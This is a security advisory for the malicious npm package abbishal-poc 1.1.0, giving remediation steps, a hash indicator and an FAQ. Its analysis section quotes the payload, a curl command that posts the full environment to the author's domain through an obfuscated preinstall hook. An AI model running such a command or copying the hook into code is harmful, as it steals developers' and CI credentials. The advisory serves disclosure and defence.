Which versions of abbishal-poc are malicious?

The following npm versions of abbishal-poc are flagged malicious: 1.1.0. Treat any of these as compromised.

How do I remediate abbishal-poc if I installed it?

abbishal-poc is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed abbishal-poc — how do I know if it already compromised me?

If abbishal-poc was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is abbishal-poc part of a known attack campaign?

Yes — abbishal-poc is associated with the IN-MAL-2026-021011 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find abbishal-poc across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for abbishal-poc (version 1.1.0).

Malicious package

abbishal-pocnpm

Advisory published Oct 5, 2026Updated Oct 5, 2026

abbishal-poc is a confirmed malicious npm package (MAL-2026-17545) that steals credentials and exfiltrates sensitive data (malicious version 1.1.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in abbishal-poc (npm)

MAL-2026-17545

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall abbishal-poc

What this malware does

On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute curl -d "$(env)" https://abbishal.com/sh/poc. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.

Malicious versions

1 flagged

1.1.0

Indicators of compromise (SHA-256)

f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for abbishal-poc (version 1.1.0).
If you installed it — respond
abbishal-poc is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If abbishal-poc was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. abbishal-poc on npm has been identified as a malicious package (version 1.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021011

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks abbishal-poc-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database